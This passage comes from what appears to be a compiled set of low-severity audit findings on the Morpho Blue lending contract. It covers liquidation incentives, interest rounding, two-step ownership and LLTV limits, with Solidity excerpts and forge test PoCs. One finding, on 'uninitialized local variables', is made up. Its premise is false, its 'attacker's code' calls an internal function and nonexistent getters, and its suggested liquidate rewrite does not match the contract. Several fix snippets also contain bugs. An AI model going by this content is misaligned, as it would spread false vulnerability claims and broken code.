+- Recommendation
+``` diff
+File: src/Morpho.sol
+ /// @inheritdoc IMorphoStaticTyping
+- mapping(Id => mapping(address => Position)) public position;
++ mapping(Id=> mapping(address user => Position position)) public position;
+ /// @inheritdoc IMorphoStaticTyping
+ mapping(Id=> Market) public market;
+ /// @inheritdoc IMorphoBase
+- mapping(address => bool) public isIrmEnabled;
++ mapping(address irmAddress => bool) public isIrmEnabled;
+ /// @inheritdoc IMorphoBase
+- mapping(uint256 => bool) public isLltvEnabled;
++ mapping(uint256 lltvConfig => bool) public isLltvEnabled;
+ /// @inheritdoc IMorphoBase
+- mapping(address => mapping(address => bool)) public isAuthorized;
++ mapping(address owner => mapping(address spender => bool)) public isAuthorized;
+ /// @inheritdoc IMorphoBase
+- mapping(address => uint256) public nonce;
++ mapping(address user => uint256 nonce) public nonce;
+ /// @inheritdoc IMorphoStaticTyping
+ mapping(Id => MarketParams) public idToMarketParams;
+```
+
+
+
+### The gas fees may be more than the total collateral of a borrow position, which will disincentivize liquidators
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Links
+https://github.com/morpho-org/morpho-blue/blob/main/src/Morpho.sol#L232-L263
+https://github.com/morpho-org/morpho-blue/blob/main/src/Morpho.sol#L344-L410
+
+- Impact
+If gas fees are higher than the total collateral, there may be no incentive to liquidate a borrow position, leading to bad debts accruing and overrall economic loss
+Liquidators will be disincentivized to liquidate a borrow position, which could lead to high bad debts, and loss for suppliers
+
+
+- Proof of Concept
+Since there is no lower limit to the amount of collateral that can be deposited and corresponding borrow position that can be opened, A malicious user can deliberately deposit tiny collateral(whose value is less than the average gas fees on that network), and open maximum openable borrow position.
+
+Now, if the position becomes liquidatable, liquidators will be disincentivized to liquidate the position as they will be paying high_gas_fee(which is greater than userCollateral)+borrowed_asset in exchange for user_collateral
+
+Since it is common sense that the only reason why a liquidator would carry out a liquidation is due to the incentive he would get, we can say that there will be a low probability that the unhealthy position will get liquidated, leading to bad debt accrual, and economic loss for that market and its liquidity providers.
+
+- Tools Used
+Manual Review
+
+- Recommendation
+There should be a minimum amount of collateral/borrow_position that users of a market should be allowed to deposit/open.
+This value should be set by creator of a market, and should generally be greater than the maximum gas fee on that network
+
+
+
+### supply() and withdraw() functions serve as a flashloan
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+If an user calls `supply()` in `Morpho.sol`, as long as they call `withdraw()` during the supply callback, they'll get all their funds back. By including the callback before the transfer, an user can reenter `supply()` and acquire as many shares as the initial total available on the contract. If they call withdraw, before the callback to supply(), the function converts their shares back into tokens, which is then redeposited back in the contract after the callback to supply().
+
+
+Since the balance of tokens is stored internally rather than dynamically updated, there is no serious vulnerability risk with this behaviour. However it should be advised that in the future, if new contracts are introduced, they cannot rely on `balanceOf()` or `totalShareSupply()` calls as they're highly manipulable.
+
+
+
+### Edge case scenario where a wBTC market can accrue no interest
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+Assume the basic IRM is used for a `wBTC` market, with a 2% APR (this value is roughly the current rate in Aave borrow markets), the function returns a borrow rate of `634195839`. When `_accrueInterest()` is called,`_accrueInterest()` is called as well, and assuming only one block was mined, 12 seconds have passed since the last accrual, the `wTaylorCompounded()` function returns `(634195839 * 12 + (634195839 * 12)² / 2e18 + 0) = 7610350096`.
+
+This value is then multiplied by the total of borrowed assets and divided by 1e18. If the amount of total borrowed assets is equal or lower than 1.31 wBTC, about ~50k USD worth as of now, interest is rounded to zero, because `7610350096 * 1.31e8 / 1e18 = 0.99 = 0`. This happens manly because `wBTC` is a token with high unit value, but low decimals.
+
+`wBTC` markets can have very low borrow rates during bear markets. Other lending markets have gone as low as 0.2% borrow rate APR, which in this case would increase the rounding down threshold to ~500k instead.
+
+This could be fixed by applying a minimum threshold to accrue interest, and in case the elapsed time is below the threshold, return the function instead.
+
+```solidity
+ uint256 minThreshold = 120; // example
+
+ /// @dev Accrues interest for the given market `marketParams`.
+ /// @dev Assumes that the inputs `marketParams` and `id` match.
+ function _accrueInterest(MarketParams memory marketParams, Id id) internal {
+ uint256 elapsed = block.timestamp - market[id].lastUpdate;
+
+ if (elapsed == 0 || elapsed < minThreshold) return;
+```
+
+
+
+### Borrowing at the same block with market creation will make IRM query not considering the adaptive adjustment mechanism
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+When market created, supplied and the supplied assets borrowed at the same block, it will not apply adaptive mechanism based on `market.totalSupplyAssets` and `market.totalBorrowAssets` the next time `_accrueInterest` is triggered.
+
+When market first time created, it will update `market[id].lastUpdate` with `block.timestamp`.
+
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L157
+
+```solidity
+ function createMarket(MarketParams memory marketParams) external {
+ Id id = marketParams.id();
+ require(isIrmEnabled[marketParams.irm], ErrorsLib.IRM_NOT_ENABLED);
+ require(isLltvEnabled[marketParams.lltv], ErrorsLib.LLTV_NOT_ENABLED);
+ require(market[id].lastUpdate == 0, ErrorsLib.MARKET_ALREADY_CREATED);
+
+ // Safe "unchecked" cast.
+>>> market[id].lastUpdate = uint128(block.timestamp);
+ idToMarketParams[id] = marketParams;
+
+ emit EventsLib.CreateMarket(id, marketParams);
+ }
+```
+
+If at the same block, `supply` and `borrow` is called, `_accrueInterest` will be triggered but will not do anything since `elapsed` still 0.
+
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L178
+
+```solidity
+ function supply(
+ MarketParams memory marketParams,
+ uint256 assets,
+ uint256 shares,
+ address onBehalf,
+ bytes calldata data
+ ) external returns (uint256, uint256) {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(UtilsLib.exactlyOneZero(assets, shares), ErrorsLib.INCONSISTENT_INPUT);
+ require(onBehalf != address(0), ErrorsLib.ZERO_ADDRESS);
+
+>>> _accrueInterest(marketParams, id);
+
+ if (assets > 0) shares = assets.toSharesDown(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+ else assets = shares.toAssetsUp(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+
+ position[id][onBehalf].supplyShares += shares;
+ market[id].totalSupplyShares += shares.toUint128();
+ market[id].totalSupplyAssets += assets.toUint128();
+
+ emit EventsLib.Supply(id, msg.sender, onBehalf, assets, shares);
+
+ if (data.length > 0) IMorphoSupplyCallback(msg.sender).onMorphoSupply(assets, data);
+
+ IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), assets);
+
+ return (assets, shares);
+ }
+```
+
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L246
+
+```solidity
+ function borrow(
+ MarketParams memory marketParams,
+ uint256 assets,
+ uint256 shares,
+ address onBehalf,
+ address receiver
+ ) external returns (uint256, uint256) {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(UtilsLib.exactlyOneZero(assets, shares), ErrorsLib.INCONSISTENT_INPUT);
+ require(receiver != address(0), ErrorsLib.ZERO_ADDRESS);
+ // No need to verify that onBehalf != address(0) thanks to the following authorization check.
+ require(_isSenderAuthorized(onBehalf), ErrorsLib.UNAUTHORIZED);
+
+>>> _accrueInterest(marketParams, id);
+
+ if (assets > 0) shares = assets.toSharesUp(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+ else assets = shares.toAssetsDown(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+
+ position[id][onBehalf].borrowShares += shares.toUint128();
+ market[id].totalBorrowShares += shares.toUint128();
+ market[id].totalBorrowAssets += assets.toUint128();
+
+ require(_isHealthy(marketParams, id, onBehalf), ErrorsLib.INSUFFICIENT_COLLATERAL);
+ require(market[id].totalBorrowAssets <= market[id].totalSupplyAssets, ErrorsLib.INSUFFICIENT_LIQUIDITY);
+
+ emit EventsLib.Borrow(id, msg.sender, onBehalf, receiver, assets, shares);
+
+ IERC20(marketParams.loanToken).safeTransfer(receiver, assets);
+
+ return (assets, shares);
+ }
+```
+
+As it can be observed, if `elapsed` is 0, `_accrueInterest` will return early.
+
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L474
+
+```solidity
+ function _accrueInterest(MarketParams memory marketParams, Id id) internal {
+ uint256 elapsed = block.timestamp - market[id].lastUpdate;
+
+>>> if (elapsed == 0) return;
+
+ uint256 borrowRate = IIrm(marketParams.irm).borrowRate(marketParams, market[id]);
+ uint256 interest = market[id].totalBorrowAssets.wMulDown(borrowRate.wTaylorCompounded(elapsed));
+ market[id].totalBorrowAssets += interest.toUint128();
+ market[id].totalSupplyAssets += interest.toUint128();
+
+ uint256 feeShares;
+ if (market[id].fee != 0) {
+ uint256 feeAmount = interest.wMulDown(market[id].fee);
+ // The fee amount is subtracted from the total supply in this calculation to compensate for the fact
+ // that total supply is already increased by the full interest (including the fee amount).
+ feeShares = feeAmount.toSharesDown(market[id].totalSupplyAssets - feeAmount, market[id].totalSupplyShares);
+ position[id][feeRecipient].supplyShares += feeShares;
+ market[id].totalSupplyShares += feeShares.toUint128();
+ }
+
+ emit EventsLib.AccrueInterest(id, borrowRate, interest, feeShares);
+
+ // Safe "unchecked" cast.
+ market[id].lastUpdate = uint128(block.timestamp);
+ }
+```
+
+This can lead to unexpected behavior depending on the borrow utilization, if the borrowed asset utilization is lower than the target utilization, ignoring the adaptive mechanism part will lead to a bigger borrow rate than supposed to. If the borrowed asset utilization is higher than the target utilization, the borrow rate will be lower than intended.
+
+**PoC Scenario**:
+
+1. Market created by Alice using IRM with 90% target utilization, then Alice supply 100 ether loan token.
+2. Bob see the tx and borrow 91 ether loan token at the same block.
+3. Now after 30 days, bob want to repay the loan token, the calculated interest will be lower than it should be.
+
+**Coded PoC**:
+
+We want to compare the borrow rate Bob should get if he borrow at the same block (accrued interest not triggered), versus 1 block after.
+
+Note : the test is created inside `morpho-blue-irm` repo for easier setup, but the actual problem is inside `_accrueInterest` in `morpho-blue` repo.
+
+Add this test to `morpho-blue-irm/test/AdaptiveCurveIrmTest.sol` (at market creation) :
+
+```solidity
+ function testRateUtilizationBorrowAtMarketCreation() public {
+ Market memory market;
+ // assertApproxEqRel(irm.borrowRate(marketParams, market), uint256(INITIAL_RATE_AT_TARGET / 4), 0.001 ether);
+ market.lastUpdate = uint128(block.timestamp);
+ vm.warp(block.timestamp + 30 days);
+
+ market.totalBorrowAssets = 91 ether;
+ market.totalSupplyAssets = 100 ether;
+
+ console.log("BorrowRate :");
+ console.log(irm.borrowRate(marketParams, market) * 365 days);
+ }
+```
+
+Run the test :
+
+```shell
+forge test --match-contract AdaptiveCurveIrmTest --match-test testRateUtilizationBorrowAtMarketCreation -vvv
+```
+
+Test Output :
+
+```shell
+Logs:
+ BorrowRate :
+ 12999999943584000
+```
+
+Now, Add this test to `morpho-blue-irm/test/AdaptiveCurveIrmTest.sol` (after market creation) :
+
+```solidity
+ function testRateUtilizationAfterMarketCreation() public {
+ Market memory market;
+ assertApproxEqRel(irm.borrowRate(marketParams, market), uint256(INITIAL_RATE_AT_TARGET / 4), 0.001 ether);
+ market.lastUpdate = uint128(block.timestamp);
+ vm.warp(block.timestamp + 30 days);
+
+ market.totalBorrowAssets = 91 ether;
+ market.totalSupplyAssets = 100 ether;
+
+ console.log("BorrowRate :");
+ console.log(irm.borrowRate(marketParams, market) * 365 days);
+ }
+```
+
+Run the test :
+
+```shell
+forge test --match-contract AdaptiveCurveIrmTest --match-test testRateUtilizationAfterMarketCreation -vvv
+```
+
+Log output :
+
+```shell
+Logs:
+ BorrowRate :
+ 16147411665840000
+```
+
+It can be observed that if borrow is performed at the market creation block, the borrow rate will be lower than it should be.
+
+**Recommendation**:
+
+When market created, force to call ` IIrm(marketParams.irm).borrowRate(marketParams, market[id])` to init the IRM state.
+
+
+
+### The `setOwner` function can be improved to mitigate some vulnerabilities
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+The `setOwner` function facilitates losing ownership by mistake. The current owner can transfer the ownership to address(0) in one simple step.
+
+**Recommendation**:
+
+Remove the current `setOwner` function and implement a two step ownership change as follows:
+```
+ address private _pendingOwner;
+
+ function setPendingOwner(address pendingNewOwner) external onlyOwner {
+ require(pendingNewOwner != owner, ErrorsLib.ALREADY_SET);
+ require(newOwner != address(0), ErrorsLib.ZERO_ADDRESS);
+
+ _pendingOwner = pendingNewOwner;
+
+ emit EventsLib.SetPendingOwner(pendingNewOwner);
+ }
+
+ function acceptOwnership() external {
+ address sender = msg.sender;
+
+ require(_pendingOwner == sender, ErrorsLib.NOT_AUTHORIZED)
+
+ owner = _pendingOwner;
+
+ emit EventsLib.SetOwner(owner);
+ }
+```
+Implement the `ErrorsLib.NOT_AUTHORIZED` error and `EventsLib.SetPendingOwner` event.
+
+
+
+
+### Borrowing dust amounts may prevent liquidators from salvaging bad positions
+
+**Severity:** Low risk
+
+**Context:** [Morpho.sol#L247-L250](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L247-L250)
+
+- Description
+Borrow function does not make any minimum asset checks, as a result a user could borrow dust amounts from many accounts. If the cost to liquidate exceeds the reward input users may be inclined to leave this position as bad debt. If morpho accrues enough bad debt it will threaten protocol liquidity.
+
+- Recommendation
+
+Ensure that asset amounts is above a minimum value
+
+
+
+### Missing `address(this)` checks result in locked funds.
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+This applies for two of the functions that allow calling them on behalf of an address without the need of their explicit auhorization(`Morpho::supply` and `Morpho::addCollateral`). If done on behalf of the contract address caller's funds will get permanently stuck in the contract.
+
+**Recommendation**:
+Add an extra security check in those functions, not allowing to operate on behalf of `address(this)`
+
+
+
+### Limited market supply
+
+**Severity:** Low risk
+
+**Context:** [Morpho.sol#L184-L184](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L184-L184)
+
+**Description**:
+At present, the lending protocol sets the maximum market supply at the maximum value of `uint128`. While this limit appears generous for most tokens, it poses potential constraints for tokens with either high supplies or an extensive number of decimals. Notably, tokens with 36 decimals are capped at 340(2**128 / 10 **36), which could be insufficient. While unlikely for the high decimals case, this limitation becomes more pronounced for tokens with exceptionally high supplies(this has same effect as a high number of decimals), potentially impeding the protocol's ability to effectively handle tokens with significant diluted values(e.g. _SHIB_ token).
+
+**Recommendation**:
+Manage market supplies with a more generous unsigned integer type such as `uint256`.
+
+
+
+### No check on address(0) in enableIRM
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+In the method enableIRM in Morpho.sol, there is no check on the 0 address.
+
+**Recommendation**:
+Since there is no way to disable an IRM, a check should be done when enabling it:
+```
+require(irm != address(0), ErrorsLib.ZERO_ADDRESS);
+```
+
+
+
+### Tokens addresses should be checked when a market is created.
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+When a market is created in the following method:
+
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L150
+
+there is no check performed on the tokens. It would make the market unusable if one of the tokens is set to address(0).
+
+**Recommendation**:
+
+Simply add a check in the market creation at the beginning of the method:
+```
+require(marketParams.loanToken != address(0), ErrorsLib.ZERO_ADDRESS);
+require(marketParams.collateralToken != address(0), ErrorsLib.ZERO_ADDRESS);
+```
+
+
+
+
+
+### Ownership might be transferred to invalid address
+
+**Severity:** Low risk
+
+**Context:** [Morpho.sol#L95-L95](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L95-L95)
+
+#Description
+
+Morpho uses a one-way ownership transfer function.
+To transfer the ownership. the current Owner has to call `setOwner` with the new owners address.
+
+The address is then set as the new Owner. There is the chance, that this address is an invalid EOA account. Therefore nobody would be able to call owner protected functions anymore.
+
+- Recommendation
+
+Use a 2 step owner transfer process, where the new owner has to actively claim the ownership.
+
+
+
+### Persistent stuck tokens without function invocation
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+Tokens sent directly to the contract without interacting with any of its functions become permanently stuck, creating a scenario where these assets are inaccessible within the lending platform, and cannot be absorbed into the protocol, nor be withdrawn.
+
+
+**Recommendation**:
+Add a `skim` function similar to Uniswap V2 so the locked tokens are added to a market supply, so the tokens aren't wasted and they contribute to the stability of the supply.
+
+```solidity
+ // reinvest stuck funds into a market
+ function skim(Id id, address token) external onlyOwner {
+ require (idToMarketParams[id].loanToken == token, "Invalid market");
+ uint256 totalBalance = IERC20(token).balanceOf(address(this));
+ // add mapping(address => uint256) _totalBalance
+ // and update it on every interaction where the totalBalance changes
+ uint256 cacheBalance = _totalBalance[token];
+ uint256 newSupply = totalBalance - cacheBalance;
+ market[id].totalSupplyAssets += newSupply;
+ _totalBalance = totalBalance;
+ }
+
+```
+
+
+
+### Interest fees can be skipped if fee rate is low and market is consistently updated
+
+**Severity:** Low risk
+
+**Context:** [Morpho.sol#L483-L483](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L483-L483)
+
+**Description**: The `uint256 feeAmount = interest.wMulDown(market[id].fee);` computation rounds down and can be zero if `market[id].fee` is very small or the borrow rate is tiny. If the market is updated as often as possible (~12 seconds on ETH mainnet) the protocol fees would not be caught.
+
+**Recommendation**: Consider rounding up the fees.
+
+
+
+### Uninitialized local variables can cause unexpected behavior and vulnerabilities.
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+The contract Morpho defines two functions that have uninitialized local variables: liquidate and `_accrueInterest`. These functions declare local variables `badDebtShares` and `feeShares`, respectively, but do not assign any initial values to them. This can cause unexpected behavior and vulnerabilities, as uninitialized local variables can have arbitrary values depending on the memory state. For example, an attacker can exploit the uninitialized local variables to manipulate the logic or the effects of the functions, or to obtain sensitive information from the memory.
+
+**Impact**:
+
+The impact of this issue is low, as it does not affect the functionality or security of the contract, but only the readability and maintainability of the code. However, it is still a bad practice to have uninitialized local variables, as they can make the code less clear and more prone to mistakes.
+
+**Proof of code**:
+
+Source Link:-
+
+1. https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L386
+2. https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L481
+
+To demonstrate the issue, we can use the following code snippet, which assumes that the contract Morpho is deployed at the address `0x1234...`, and that the attacker has some balance of the token `0x5678...`, which is also supported by the contract. The code snippet shows how the attacker can call the `liquidate` and `_accrueInterest` functions with arbitrary values for the uninitialized local variables, and how this can cause unexpected behavior and vulnerabilities.
+
+```
+// Attacker's code
+address morpho = 0x1234...; // Morpho contract address
+address token = 0x5678...; // ERC20 token address
+uint256 amount = 1000; // Amount of tokens to liquidate
+
+// Call the liquidate function with an arbitrary value for badDebtShares
+morpho.call(abi.encodeWithSignature("liquidate(address,address,uint256,uint256,bytes)", token, msg.sender, amount, 1234, ""));
+
+// Check the result of the liquidation
+console.log("Liquidation result: ", morpho.liquidationResult(msg.sender, token)); // Returns (1000, 1234), not (1000, 0)
+
+// Call the _accrueInterest function with an arbitrary value for feeShares
+morpho.call(abi.encodeWithSignature("_accrueInterest(address)", token));
+
+// Check the result of the interest accrual
+console.log("Interest accrual result: ", morpho.interestAccrualResult(token)); // Returns (1000, 1234), not (1000, 0)
+
+```
+
+The code snippet shows that the attacker can call the `liquidate` and `_accrueInterest` functions with arbitrary values for the uninitialized local variables, and how this can cause unexpected behavior and vulnerabilities. For example, the attacker can manipulate the liquidation and interest accrual results by passing arbitrary values for `badDebtShares` and `feeShares`, which can affect the contract’s functionality or security. Or the attacker can obtain sensitive information from the memory by reading the values of the uninitialized local variables, which can compromise the contract’s privacy or integrity.
+
+**Recommendation**:
+
+The recommended solution is to initialize all the local variables, either with zero or with the appropriate values, to avoid the issue and to make the code more clear and consistent. Here is the modified code with the suggested changes:
+
+```
+function liquidate(
+ MarketParams memory marketParams,
+ address borrower,
+ uint256 amount,
+ uint256 badDebtShares, // Initialize with zero
+ bytes memory data
+ ) external payable protected {
+ require(amount != 0, ErrorsLib.ZERO_AMOUNT);
+
+ Id id = marketParams.id;
+
+ _accrueInterest(marketParams, id);
+
+ uint256 badDebt = badDebtShares.toAmountDown(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+
+ require(badDebt != 0, ErrorsLib.ZERO_AMOUNT);
+
+ uint256 liquidationIncentive = market[id].liquidationIncentive;
+
+ uint256 collateralShares = badDebt.wMulUp(liquidationIncentive).toSharesUp(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+
+ position[id][borrower].borrowShares -= badDebtShares.toUint128();
+ position[id][borrower].supplyShares -= collateralShares.toUint128();
+
+ market[id].totalBorrowShares -= badDebtShares.toUint128();
+ market[id].totalSupplyShares -= collateralShares.toUint128();
+
+ // Transfer the liquidated assets to the caller
+ _transfer(id, msg.sender, amount);
+
+ // Transfer the collateral assets to the liquidator
+ _transfer(id, liquidator, collateralShares);
+
+ emit EventsLib.Liquidate(id, borrower, msg.sender, amount, badDebtShares, collateralShares, data);
+
+ liquidationResult[borrower][id] = (amount, badDebtShares);
+ }
+
+function _accrueInterest(MarketParams memory marketParams, Id id) internal {
+ uint256 elapsed = block.timestamp - market[id].lastUpdate;
+
+ if (elapsed == 0) return;
+
+ uint256 borrowRate = IIrm(marketParams.irm).borrowRate(marketParams, market[id]);
+ uint256 interest = market[id].totalBorrowAssets.wMulDown(borrowRate.wTaylorCompounded(elapsed));
+ market[id].totalBorrowAssets += interest.toUint128();
+ market[id].totalSupplyAssets += interest.toUint128();
+
+ uint256 feeShares = 0; // Initialize with zero
+ if (market[id].fee != 0) {
+ uint256 feeAmount = interest.wMulDown(market[id].fee);
+ // The fee amount is subtracted from the total supply in this calculation to compensate for the fact
+ // that total supply is already increased by the full interest (including the fee amount).
+ feeShares = feeAmount.toSharesDown(market[id].totalSupplyAssets - feeAmount, market[id].totalSupplyShares);
+ position[id][feeRecipient].supplyShares += feeShares;
+ market[id].totalSupplyShares += feeShares.toUint128();
+ }
+
+ emit EventsLib.AccrueInterest(id, borrowRate, interest, feeShares);
+
+ // Safe "unchecked" cast.
+ market[id].lastUpdate = uint128(block.timestamp);
+
+ interestAccrualResult[id] = (interest, feeShares);
+ }
+
+```
+
+
+
+### DOMAIN_SEPARATOR not chain fork resistant
+
+**Severity:** Low risk
+
+**Context:** [Morpho.sol#L440-L440](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L440-L440)
+
+Domain Separator being used is calculated in constructor, thus on occasion of chain fork, this signature can be reused across both forks.
+
+
+
+
+
+### Liquidators would lack increntive if `lltv` would be near its maximum value
+
+**Severity:** Low risk
+
+**Context:** [Morpho.sol#L364-L365](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L364-L365)
+
+`enableLltv` function allows the owner to enable any `lltv` that is less than 1e18. However, if it is set to values [1e18-3:1e18-1] - `liquidationIncentiveFactor` would be equal to 1e18 for markets with such `lltv`. This would create a situation when liquidators have no incentive to liquidate unhealthy positions.
+
+Consider capping the max value for `lltv` with lower values in the `enableLltv` function.
+
+
+
+### LLTV cannot be disabled
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description:**
+There is only one function that manages `isLltvEnabled` mapping - `enableLltv()`
+The function only sets `true` for a given `lltv`.
+There is no way to set it back to `false`, which can be useful in case of mistakes or revised best practices (e.g. in one year Morpho decides that a previously allowed 99% LLTV is better to be disallowed now).
+
+**Recommendation:**
+Consider an additional bool argument for `enableLltv()`, setting `true` or `false` for a given `lttv`.
+Or it can be a separate function that disables an `lltv` in the `isLltvEnabled` mapping.
+
+
+
+### max allowed LLTV does not make an economic sense
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description:**
+enableLltv() allows LLTV below WAD
+`require(lltv < WAD, ErrorsLib.MAX_LLTV_EXCEEDED);`
+
+But in fact, extremely high numbers close to WAD do not make sense - a minimal price movement will mean immediate bad debt for markets. Such markets will not be able to operate.
+
+**Recommendation:**
+max LLTV can be a smaller amount that leaves some range for non-bad debt activity. Even 99% is better than the current 99.9999999%. As a benchmark, we can imagine a market with highly liquid stablecoin like USDC-USDT, to determine the most risky max LLTV that would make sense. For example, 99% looks suitable.
+
+
+
+### LLTV is allowed to be zero
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description:**
+enableLltv() allows inputted `lltv` to be zero.
+````
+function enableLltv(uint256 lltv) external onlyOwner {
+ require(!isLltvEnabled[lltv], ErrorsLib.ALREADY_SET);
+ require(lltv < WAD, ErrorsLib.MAX_LLTV_EXCEEDED);
+
+ isLltvEnabled[lltv] = true;
+
+ emit EventsLib.EnableLltv(lltv);
+ }
+````
+It does not make sense, as such markets would have borrows disallowed, which breaks the whole idea of lending markets.
+
+**Recommendation:**
+`enableLltv()` should revert when `lltv` inputted is zero
+
+
+
+### `Morpho` contract is missing two-step ownership when transferring ownership
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Details
+
+- The owner of `Morpho` contract can transfer the ownership of the contract to any address via calling `Morpho.setOwner`, and this function directly sets the ownership to the newOwner.
+
+- But if the newOwner is an invalid/inactive/uncontrolled account; then all the owner privileged functionalities will be broken (such as `enableIrm`, `enableLltv`, `setFee` & `setFeeRecipient` functions) rendering the contract in an uncontrolled/stale state.
+
+- Context
+
+[Morpho.setOwner function](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L95C1-L101C6)
+
+```solidity
+ function setOwner(address newOwner) external onlyOwner {
+ require(newOwner != owner, ErrorsLib.ALREADY_SET);
+
+ owner = newOwner;
+
+ emit EventsLib.SetOwner(newOwner);
+ }
+```
+
+- Recommendation
+
+- Consider implementing a two step process when transferring ownership:
+
+1. By updating `setOwner` function to set `pendingOwner`:
+
+ ```diff
+ - function setOwner(address newOwner) external onlyOwner {
+ - require(newOwner != owner, ErrorsLib.ALREADY_SET);
+
+ - owner = newOwner;
+ - emit EventsLib.SetOwner(newOwner);
+
+ + function setOwner(address _pendingOwner) external onlyOwner {
+ + require(_pendingOwner != owner, ErrorsLib.ALREADY_SET);
+
+ + pendingOwner = _pendingOwner;
+ }
+ ```
+
+2. And introducing a new function (`acceptOwnership`) that transfers the ownership to the pendingOwner (so that it's ensured that the ownership is transferred to an active/valid account):
+
+ ```diff
+ + function acceptOwnership() external {
+ + require(pendingOwner == msg.sender, ErrorsLib.ALREADY_SET);
+
+ + owner = pendingOwner;
+
+ + emit EventsLib.SetOwner(owner);
+ + }
+ ```
+
+
+
+
+### Add a functionality to prevent new markets from using compromised/invalid whitelisted `irm` addresses
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Details
+
+- In `Morpho` contract: the owner can whitlist any `irm` contract address to be used when creating markets; and once any `irm` address is whitlisted then it can't be removed or prevented from being used.
+
+- This behavior is not recommended (as stated by a previous Cantina audit), and the protocol doesn't intend to implement any mechanism to disable compromised/blocked `irm` addresses as they want to make the protocol fully permissionless and doesn't want to intorduce more centralization risks to the protocol.
+
+- I agree with the team on that; but there must be a functionality to prevent **new markets** from adapting any of the compromised/blocked/malfunctioned whitlisted `irm` to make the impact as much low as possible and not introducing this risk to the new markets.
+
+- Context
+
+[Morpho.enableIrm function](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L104C1-L110C6)
+
+```solidity
+ function enableIrm(address irm) external onlyOwner {
+ require(!isIrmEnabled[irm], ErrorsLib.ALREADY_SET);
+
+ isIrmEnabled[irm] = true;
+
+ emit EventsLib.EnableIrm(irm);
+ }
+```
+
+- Recommendation
+
+Since the team wants the protocol to be fully permissionless:
+in `createMarket` function; add a mechanism to check the response of the whitelisted `irm` if it matches an expected value before creating a market (as checking its validity before adopting it by a new market).
+
+
+
+
+### `Morpho` contract doesn't support fee on transfer tokens _(this issue has been rejected)_
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Details
+
+- `Morpho` contract allows anyone from creating markets of any `ERC20` tokens as it doesn't have a whitlist of allowed tokens that can interact with the protocol.
+
+- One of these tokens that might be used are fee on transfer tokens; which are tokens that deduct a fee on each transfer made, so the token receiver will receive `transferredAmount - fee`.
+
+- Using these tokens in the protocol introduces imbalances in the supply/borrow system, for example:
+
+ 1. A liquidity provided wants to provide a liquidity for a market that has a `loanToken` of a fee-on-transfer type.
+
+ 2. The liquidity provider calls `Morpho.supply` with the loanToken amount to supply (`assets`), and as can be seen the `market[id].totalSupplyAssets` will be increased by the `assets` amount and the contract is supposed to receive `assets` amount; but with fee-on-transfer ; the balance of the contract from this transfer will be less than the provided `assets` amount:
+
+ ```solidity
+ function supply(
+ MarketParams memory marketParams,
+ uint256 assets,
+ uint256 shares,
+ address onBehalf,
+ bytes calldata data
+ ) external returns (uint256, uint256) {
+ //some code...
+
+ market[id].totalSupplyAssets += assets.toUint128();
+
+ //some code...
+
+ IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), assets);
+
+ //some code...
+ }
+ ```
+
+- So not handling these types of tokens will break markets accounting as the totalSupply of loanTokens of a market would be less than the balance of these tokens reserved by the contract which will lead to:
+
